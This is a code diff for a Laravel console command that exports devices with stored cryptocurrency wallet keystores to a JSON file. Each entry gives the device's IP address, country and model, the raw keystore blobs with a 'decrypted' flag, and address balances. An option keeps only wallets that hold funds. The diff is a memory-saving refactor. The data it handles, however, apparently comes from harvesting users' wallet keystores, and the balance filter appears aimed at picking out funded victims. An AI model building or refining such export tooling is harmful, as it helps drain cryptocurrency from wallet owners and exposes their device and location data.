fix: db

app/Console/Commands/ExportKeystoreDevicesCommand.php

@@ -4,9 +4,9 @@ namespace App\Console\Commands;
 
 use App\Models\Device;
 use App\Models\WalletAddress;
-use App\Models\WalletKeystore;
 use Illuminate\Console\Command;
 use Illuminate\Database\Eloquent\Builder;
+use Illuminate\Support\Facades\DB;
 
 class ExportKeystoreDevicesCommand extends Command
 {
@@ -19,34 +19,12 @@ class ExportKeystoreDevicesCommand extends Command
 
     public function handle(): int
     {
-        $path = trim((string) $this->option('path'));
+        DB::disableQueryLog();
-        if ($path === '') {
+        $path = $this->resolvePath();
-            $path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json');
+        if ($path === null) {
-        } elseif (! str_starts_with($path, '/')) {
-            $path = base_path($path);
-        }
-
-        $dir = dirname($path);
-        if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
-            $this->error('Cannot create directory: '.$dir);
-
             return self::FAILURE;
         }
 
-        $query = Device::query()
-            ->whereHas('keystores')
-            ->whereHas('addresses', function (Builder $q) {
-                if ($this->option('with-balance')) {
-                    $q->where(function (Builder $inner) {
-                        foreach (WalletAddress::COIN_COLUMNS as $col) {
-                            $inner->orWhere($col, '>', 0);
-                        }
-                    });
-                }
-            })
-            ->orderBy('id');
-
-        $ids = $query->pluck('id');
         $fh = fopen($path, 'w');
         if ($fh === false) {
             $this->error('Cannot write: '.$path);
@@ -54,45 +32,32 @@ class ExportKeystoreDevicesCommand extends Command
             return self::FAILURE;
         }
 
-        $meta = [
+        $ids = $this->deviceQuery()->orderBy('id')->pluck('id');
-            'exported_at' => now()->toIso8601String(),
+        $includeRaw = ! $this->option('no-raw');
-            'with_balance' => (bool) $this->option('with-balance'),
+        $flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES;
-            'include_raw' => ! $this->option('no-raw'),
-            'device_count' => $ids->count(),
-        ];
 
         fwrite($fh, "{\n");
-        fwrite($fh, '  "exported_at": '.json_encode($meta['exported_at']).",\n");
+        fwrite($fh, '  "exported_at": '.json_encode(now()->toIso8601String(), $flags).",\n");
-        fwrite($fh, '  "with_balance": '.($meta['with_balance'] ? 'true' : 'false').",\n");
+        fwrite($fh, '  "with_balance": '.($this->option('with-balance') ? 'true' : 'false').",\n");
-        fwrite($fh, '  "include_raw": '.($meta['include_raw'] ? 'true' : 'false').",\n");
+        fwrite($fh, '  "include_raw": '.($includeRaw ? 'true' : 'false').",\n");
-        fwrite($fh, '  "device_count": '.$meta['device_count'].",\n");
+        fwrite($fh, '  "device_count": '.$ids->count().",\n");
         fwrite($fh, '  "devices": ['."\n");
 
         $first = true;
-        $flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES;
         foreach ($ids as $id) {
-            $device = Device::query()->find($id);
+            $device = Device::query()->find($id, [
+                'id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'country', 'wallet_names',
+            ]);
             if (! $device) {
                 continue;
             }
-            $row = $this->serializeDevice($device);
-            $encoded = json_encode($row, $flags);
-            if ($encoded === false) {
-                $this->warn('skip device '.$id.': json encode failed');
-
-                continue;
-            }
             if (! $first) {
                 fwrite($fh, ",\n");
             }
             $first = false;
-            fwrite($fh, $encoded);
+            $this->writeDevice($fh, $device, $includeRaw, $flags);
-            $this->line(sprintf(
+            unset($device);
-                'device %s keystores=%d addresses=%d',
+            gc_collect_cycles();
-                $device->device_id,
-                count($row['keystores']),
-                count($row['addresses']),
-            ));
         }
 
         fwrite($fh, "\n  ]\n}\n");
@@ -103,33 +68,149 @@ class ExportKeystoreDevicesCommand extends Command
         return self::SUCCESS;
     }
 
-    /**
+    private function resolvePath(): ?string
-     * @return array<string, mixed>
-     */
-    private function serializeDevice(Device $device): array
     {
-        $includeRaw = ! $this->option('no-raw');
+        $path = trim((string) $this->option('path'));
-        $keystores = [];
+        if ($path === '') {
-        $ksQuery = WalletKeystore::query()->where('device_id', $device->id)->orderBy('id');
+            $path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json');
-        if (! $includeRaw) {
+        } elseif (! str_starts_with($path, '/')) {
-            $ksQuery->select(WalletKeystore::listColumns());
+            $path = base_path($path);
         }
-        foreach ($ksQuery->cursor() as $ks) {
+        $dir = dirname($path);
-            $item = [
+        if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
-                'id' => $ks->id,
+            $this->error('Cannot create directory: '.$dir);
-                'source' => $ks->source,
+
-                'decrypted' => (int) $ks->decrypted,
+            return null;
-                'created_at' => optional($ks->created_at)?->toIso8601String(),
-            ];
-            if ($includeRaw) {
-                $item['raw_json'] = $ks->raw_json;
-            } else {
-                $item['raw_json_len'] = (int) ($ks->raw_json_len ?? 0);
-            }
-            $keystores[] = $item;
-            $ks->setAttribute('raw_json', null);
         }
 
+        return $path;
+    }
+
+    private function deviceQuery(): Builder
+    {
+        return Device::query()
+            ->whereHas('keystores')
+            ->whereHas('addresses', function (Builder $q) {
+                if (! $this->option('with-balance')) {
+                    return;
+                }
+                $q->where(function (Builder $inner) {
+                    foreach (WalletAddress::COIN_COLUMNS as $col) {
+                        $inner->orWhere($col, '>', 0);
+                    }
+                });
+            });
+    }
+
+    /**
+     * Stream one device object. Never json_decode keystore blobs.
+     *
+     * @param  resource  $fh
+     */
+    private function writeDevice($fh, Device $device, bool $includeRaw, int $flags): void
+    {
+        $ksMeta = DB::table('wallet_keystores')
+            ->where('device_id', $device->id)
+            ->orderBy('id')
+            ->get(['id', 'source', 'decrypted', 'created_at']);
+        $addresses = $this->serializeAddresses($device);
+
+        $header = [
+            'id' => $device->id,
+            'device_id' => $device->device_id,
+            'channel_id' => $device->channel_id,
+            'model' => $device->device_model,
+            'ios_version' => $device->ios_version,
+            'ip' => $device->ip,
+            'country' => $device->country,
+            'wallet_names' => $device->walletNameList(),
+            'keystore_count' => $ksMeta->count(),
+            'address_count' => count($addresses),
+            'addresses' => $addresses,
+        ];
+        $encoded = json_encode($header, $flags);
+        if ($encoded === false) {
+            fwrite($fh, '{"id":'.$device->id.',"error":"encode failed"}');
+
+            return;
+        }
+
+        fwrite($fh, substr($encoded, 0, -1));
+        fwrite($fh, ',"keystores":[');
+        $ksFirst = true;
+        foreach ($ksMeta as $row) {
+            if (! $ksFirst) {
+                fwrite($fh, ',');
+            }
+            $ksFirst = false;
+            $this->writeKeystore($fh, (int) $row->id, (string) $row->source, (int) $row->decrypted, (string) $row->created_at, $includeRaw, $flags);
+        }
+        fwrite($fh, ']}');
+
+        $this->line(sprintf(
+            'device %s keystores=%d addresses=%d',
+            $device->device_id,
+            $ksMeta->count(),
+            count($addresses),
+        ));
+    }
+
+    /**
+     * @param  resource  $fh
+     */
+    private function writeKeystore($fh, int $id, string $source, int $decrypted, string $createdAt, bool $includeRaw, int $flags): void
+    {
+        $meta = [
+            'id' => $id,
+            'source' => $source,
+            'decrypted' => $decrypted,
+            'created_at' => $createdAt !== '' ? $createdAt : null,
+        ];
+        if (! $includeRaw) {
+            $len = (int) (DB::table('wallet_keystores')->where('id', $id)->selectRaw('LENGTH(raw_json) as n')->value('n') ?? 0);
+            $meta['raw_json_len'] = $len;
+            fwrite($fh, (string) json_encode($meta, $flags));
+
+            return;
+        }
+
+        $blob = DB::selectOne(
+            'select convert(cast(raw_json as char character set utf8mb4) using utf8mb4) as raw_json from wallet_keystores where id = ?',
+            [$id],
+        );
+        $raw = is_object($blob) ? $blob->raw_json : null;
+        if (is_array($raw)) {
+            $raw = json_encode($raw, $flags) ?: 'null';
+        } elseif (! is_string($raw) && $raw !== null) {
+            $raw = (string) $raw;
+        }
+        $encodedMeta = json_encode($meta, $flags);
+        fwrite($fh, substr((string) $encodedMeta, 0, -1));
+        fwrite($fh, ',"raw_json":');
+        if ($raw === null || $raw === '') {
+            fwrite($fh, 'null');
+        } elseif ($this->looksLikeJson($raw)) {
+            fwrite($fh, $raw);
+        } else {
+            fwrite($fh, (string) json_encode($raw, $flags));
+        }
+        fwrite($fh, '}');
+        unset($blob, $raw);
+        gc_collect_cycles();
+    }
+
+    private function looksLikeJson(string $raw): bool
+    {
+        $trim = ltrim($raw);
+
+        return $trim !== '' && ($trim[0] === '{' || $trim[0] === '[');
+    }
+
+    /**
+     * @return list<array<string, mixed>>
+     */
+    private function serializeAddresses(Device $device): array
+    {
         $addresses = [];
         foreach ($device->addresses()->orderBy('id')->cursor() as $addr) {
             $coins = [];
@@ -151,19 +232,6 @@ class ExportKeystoreDevicesCommand extends Command
             ];
         }
 
-        return [
+        return $addresses;
-            'id' => $device->id,
-            'device_id' => $device->device_id,
-            'channel_id' => $device->channel_id,
-            'model' => $device->device_model,
-            'ios_version' => $device->ios_version,
-            'ip' => $device->ip,
-            'country' => $device->country,
-            'wallet_names' => $device->walletNameList(),
-            'keystore_count' => count($keystores),
-            'address_count' => count($addresses),
-            'keystores' => $keystores,
-            'addresses' => $addresses,
-        ];
     }
 }